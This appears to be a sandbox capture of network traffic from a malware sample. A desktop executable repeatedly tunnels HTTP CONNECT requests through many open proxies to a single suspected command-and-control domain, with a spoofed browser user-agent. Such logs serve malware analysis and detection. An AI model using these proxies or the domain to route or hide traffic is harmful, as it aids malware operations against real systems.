Mar 11, 2024 15:21:01.789881945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.9	49968	184.181.217.213	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.796788931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.9	49937	147.75.34.85	10011	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.798037052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.102425098 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.9	50032	216.176.187.99	8889	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.798679113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.309437990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.918869972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.137651920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.519407034 CET	68	IN	HTTP/1.1 200 Connection established Set-Cookie: SRV=S44; path=/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.9	49710	117.160.250.133	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.804609060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.536726952 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.9	49861	94.20.183.172	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.804807901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.184741020 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.9	49972	131.100.51.97	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.817007065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.030147076 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 814 Content-Type: text/html Date: Mon, 11 Mar 2024 14:21:13 GMT Expires: Mon, 11 Mar 2024 14:21:13 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.9	49999	184.181.217.206	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.828330040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.9	49948	37.187.77.58	13412	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.830801010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.9	49992	35.72.118.126	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.831680059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.096996069 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:01 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 15:21:02.106729984 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 13 4d 11 cd 36 30 26 57 ff cc 8f da a6 d4 ee 4a a5 e3 08 e9 d3 9a e7 a7 29 20 50 4a 91 ed 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eM60&WJ) PJ*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 15:21:02.371892929 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 b0 a8 71 15 34 3c 52 a2 ec 79 8e aa e7 dd 5b b4 35 05 90 a1 37 29 d1 28 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9q4<Ry[57)(DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311135602Z260311135602Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 15:21:02.383506060 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 1e fb 59 b4 f1 52 94 88 a9 86 e6 15 1d 89 d0 77 6d 17 19 9d 86 87 81 f1 1a 41 3a a5 4f 3d 8b 5e 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 83 ef d1 0f 72 26 0c dd 67 18 7b f4 6e 51 21 54 50 50 a3 ff 1a Data Ascii: %! YRwmA:O=^(r&g{nQ!TPP6?
Mar 11, 2024 15:21:02.648153067 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 b4 8f 2a 92 36 84 68 ad 5d 2d 7a b7 f7 12 fe 0f 33 99 65 0a c5 4f 3a fe 89 77 90 0e 0c b0 8a c6 5a ed 6f b3 73 23 5b c0 Data Ascii: (*6h]-z3eO:wZos#[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.9	49963	27.96.235.171	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.834194899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.9	49953	43.129.228.46	7891	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.834897995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.9	49949	177.12.118.160	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.845132113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.9	50090	23.227.38.198	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.846093893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.000504971 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.9	50093	104.17.132.79	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.846385002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.000767946 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.9	49966	5.61.33.234	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.850028992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.152232885 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.9	50098	172.67.105.234	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.850430965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.005017996 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.9	49978	128.140.26.12	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.861336946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.9	49973	8.217.95.44	8899	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.862859011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.9	49956	148.72.212.198	3950	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.898057938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.9	50125	104.17.9.114	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.898243904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.052937984 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.9	50011	46.17.63.166	10000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.898462057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.196258068 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.9	50035	34.84.95.189	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.898761034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.496963024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.325146914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.091197014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.418521881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.794245958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.068711042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.700318098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.9	50133	172.67.182.96	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.898761988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.053230047 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:01 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

